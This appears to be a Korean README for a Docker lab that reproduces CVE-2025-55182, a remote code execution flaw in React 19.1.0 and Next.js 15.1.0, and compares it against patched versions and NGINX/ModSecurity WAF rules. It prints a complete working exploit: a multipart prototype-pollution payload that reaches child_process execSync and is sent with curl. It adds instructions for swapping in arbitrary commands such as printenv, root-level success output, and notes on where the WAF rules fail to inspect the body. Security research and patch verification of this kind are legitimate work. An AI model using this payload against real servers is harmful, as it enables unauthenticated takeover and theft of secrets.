
Docker 기반 테스트 랩으로, React 19.1.0/Next.js 15.1.0에서 CVE-2025-55182 (React2Shell) RCE 취약점을 테스트할 수 있습니다. 익스플로잇 스크립트, NGINX/ModSecurity를 이용한 WAF 우회 테스트, 그리고 보안 교육을 위한 패치된 버전 비교 기능을 포함합니다.
⚠️ 경고: 실제로 동작하는 원격 코드 실행(RCE) 취약점을 포함하고 있습니다.
CVE-2025-55182 (React2Shell) 취약점 테스트를 위한 컨테이너 테스트 환경입니다.
🔴 CRITICAL VULNERABILITY CONFIRMED!
Successfully executed 6/7 commands
Executed Commands:
✅ whoami: root
✅ hostname: c89f1bd355b2
✅ pwd: /app
✅ id: uid=0(root) gid=0(root) groups=0(root)...
✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
✅ node-ver: v20.19.6
CVSS 점수: 10.0 (CRITICAL)
영향: 원격 코드 실행 (RCE)
인증 요구: 없음
공격 벡터: 네트워크
$1:__proto__:then을 통한 프로토타입 오염$B 접두사)를 통한 접근child_process를 통한 RCE// 공격 페이로드 구조
{
"then": "$1:__proto__:then", // Object.prototype.then 오염
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // Blob 역직렬화 트리거
"_response": {
"_prefix": "악성_코드", // 실행할 코드
"_formData": {
"get": "$1:constructor:constructor" // Function constructor 접근
}
}
}
Windows (PowerShell):
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
.\run-tests.ps1 status
전체 컨테이너가 healthy 상태가 될 때까지 기다려야합니다 (약 1-2분 소요).
Windows (PowerShell):
# 방법 1: PowerShell 스크립트 사용 (권장)
.\tests\exploit-working.ps1
# 방법 2: Node.js 직접 실행
node tests\exploit-working.js
### 4단계: 결과 확인
서버 로그에서 명령어 실행 결과를 확인할 수 있습니다:
```bash
docker compose logs vulnerable-app --tail=20
exploit-working.js ⭐ 권장Windows:
# PowerShell 스크립트 (권장)
.\tests\exploit-working.ps1
# 또는 Node.js 직접 실행
node tests\exploit-working.js
실행 내용:
테스트되는 명령어:
whoami - 현재 사용자 (root)hostname - 컨테이너 호스트명pwd - 작업 디렉토리 (/app)id - 전체 사용자 정보uname -a - 시스템 정보node --version - Node.js 버전# 페이로드 파일 생성
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary123--
EOF
# 공격 전송
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
-H "Next-Action: exploit" \
--data-binary @payload.txt
# 로그 실행 확인
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
공격 스크립트를 수정하여 원하는 명령어를 실행할 수 있습니다:
// exploit-working.js 파일에서:
const tests = [
{ name: 'custom', cmd: 'ls -la /app', desc: '애플리케이션 디렉토리 목록' },
{ name: 'env', cmd: 'printenv', desc: '환경 변수 출력' }
]
# 작동하는 공격 실행
node tests/exploit-working.js
# 예상 결과: 명령어 실행 성공
# 출력: 사용자 정보, 시스템 세부 정보 등
Windows (PowerShell):
# PowerShell 스크립트 사용
.\tests\exploit-working.ps1 -Port 3001
예상 결과: 공격 실패 (React 19.1.2가 공격을 차단함)
Windows (PowerShell):
# NGINX WAF를 통한 공격 시도
.\tests\exploit-working.ps1 -Port 8080
예상 결과: WAF 룰에 의해 차단
위치: nginx/nginx.conf
탐지 패턴:
__proto__, constructor:constructor$X:__proto__, $B 참조child_process, execSync, require()%5f%5fproto%5f%5fNext-Action: #constructor차단 동작:
HTTP 403 Forbidden
{
"error": "Request blocked by WAF",
"protection": "CVE-2025-55182",
"waf": "NGINX"
}
위치: apache/modsecurity-rules.conf
룰 ID 범위: 100001-100017
주요 룰:
__proto__ 탐지# NGINX 차단 테스트
curl -X POST http://localhost:8080/ \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": true}}'
# 예상 응답: HTTP 403
# ModSecurity 차단 테스트
curl -X POST http://localhost:8081/ \
-H "Next-Action: test#constructor" \
-d '{"data": "test"}'
# 예상 응답: HTTP 403
# NGINX 보안 로그
docker compose exec nginx tail -f /var/log/nginx/security.log
# Apache ModSecurity 감사 로그
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log
중요: 현재 WAF 구성에는 다음과 같은 제한사항이 있습니다:
multipart/form-data body에 포함되어 있어 탐지되지 않음Next-Action 헤더가 필요한데, 이 헤더만으로는 충분한 보호 불가실제 공격 방어:
cve-2025-55182-test-lab-windows/
├── README.md # README
├── docker-compose.yml # Docker 환경 설정
├── run-tests.ps1 # Windows 실행 스크립트
├── run-tests.sh # Linux/Mac 실행 스크립트
│
├── vulnerable-app/ # 취약 버전 애플리케이션
│ ├── Dockerfile
│ ├── package.json # React 19.1.0, Next.js 15.1.0
│ ├── next.config.js
│ ├── app/
│ │ ├── layout.js # 기본 레이아웃
│ │ ├── page.js # 메인 페이지
│ │ └── api/
│ │ └── health/ # 헬스 체크 엔드포인트
│ │ └── route.js
│ └── tests/
│
├── patched-app/ # 취약점 해결 버전 애플리케이션
│ ├── Dockerfile
│ ├── package.json # React 19.1.2, Next.js 15.1.9
│ ├── next.config.js
│ └── app/
│ ├── layout.js
│ ├── page.js
│ └── api/
│ └── health/
│ └── route.js
│
├── tests/ # 공격 스크립트
│ ├── exploit-working.js # RCE 공격 (Node.js)
│ ├── exploit-working.ps1 # RCE 공격 (PowerShell)
│ └── exploit-working.cmd # RCE 공격 (배치 파일)
│
├── nginx/ # NGINX WAF 설정
│ ├── nginx.conf # CVE-2025-55182 차단 룰
│ └── nginx-patched.conf # 프락시 설정
│
└── apache/ # Apache ModSecurity 설정
├── Dockerfile
├── apache-config.conf
└── modsecurity-rules.conf # ModSecurity 차단 룰
공격 스크립트가 직접 결과를 표시합니다:
[whoami] Sending exploit...
✅ SUCCESS! Output: root
# 실시간 로그 모니터링
docker compose logs -f vulnerable-app
# 확인 필요 사항:
# [EXPLOIT] Executing: whoami
# [RESULT] root
# 공격이 실행되었는지 확인
docker compose exec vulnerable-app ps aux | grep node
# 파일 시스템 변경 확인 (파일을 작성한 경우)
docker compose exec vulnerable-app ls -la /tmp
React 업그레이드 - 19.1.2 이상 설치:
npm install react@^19.1.2 react-dom@^19.1.2
Next.js 업그레이드 - 15.1.9 이상 설치:
npm install next@^15.1.9
재빌드 및 재배포:
npm run build
# 프로덕션 환경에 배포
Windows (PowerShell):
# 패치된 버전으로 테스트
.\tests\exploit-working.ps1 -Port 3001
# 또는
$env:TARGET_PORT=3001; node tests\exploit-working.js
Linux/Mac:
# 패치된 버전으로 테스트
TARGET_PORT=3001 node tests/exploit-working.js
결과 예시: ℹ️ Exploitation failed
# 시작
.\run-tests.ps1 start
# 상태 확인
.\run-tests.ps1 status
# 로그 보기
.\run-tests.ps1 logs
# 중지
.\run-tests.ps1 stop
# 초기화 (모든 컨테이너 및 볼륨 삭제)
.\run-tests.ps1 clean
Windows (PowerShell):
# 1. 버전 확인
docker compose exec vulnerable-app npm list react next
# 다음과 같이 표시되어야 함:
# [email protected]
# [email protected]
# 2. 서버가 응답하는지 확인
curl http://localhost:3000
# 3. Docker 로그 확인
docker compose logs vulnerable-app --tail=50
# 4. 컨테이너 재시작
docker compose restart vulnerable-app
Windows (PowerShell):
# PowerShell에서 로그 필터링
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"
오류 증상:
error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...
해결 방법:
docker ps 명령어로 확인오류 증상:
이 시스템에서 스크립트를 실행할 수 없으므로...
해결 방법:
# 현재 세션에만 적용
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# 또는 직접 실행
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1
Docker가 실행 중이고 권한이 있는지 확인:
모든 플랫폼:
docker compose ps
다른 애플리케이션이 포트를 사용 중인 경우:
Windows (PowerShell):
# 포트 사용 프로세스 확인
netstat -ano | findstr :3000
# 프로세스 종료 (PID 확인 후)
taskkill /PID <PID> /F
모든 플랫폼 (docker-compose.yml 수정):
# 포트를 변경하여 충돌 회피
services:
vulnerable-app:
ports:
- "3010:3000" # 3000 → 3010으로 변경
모든 플랫폼:
# NGINX 설정 테스트
docker compose exec nginx nginx -t
# Apache 설정 테스트
docker compose exec apache apachectl configtest
# 로그 확인
docker compose logs nginx --tail=30
docker compose logs apache --tail=30
이 프로젝트는 교육 및 보안 연구 목적으로 제공됩니다.
사용 제한:
| 포트 | 서비스 | React 버전 | 용도 | WAF 상태 |
|---|
| 3000 | vulnerable-app | 19.1.0 | 취약함 - CVE-2025-55182 테스트 | ❌ 보호 없음 |
| 3001 | patched-app | 19.1.2 | 안전함 - 패치 효과 검증 | ✅ 패치됨 |
| 8080 | nginx → vulnerable | 19.1.0 | WAF 테스트 (NGINX) | ⚠️ 제한적 (body 미검사) |
| 8081 | apache → vulnerable | 19.1.0 | WAF 테스트 (ModSecurity) | ⚠️ 제한적 (405 응답) |
| 8082 | nginx → patched | 19.1.2 | 이중 보호 테스트 | ✅ 패치됨 |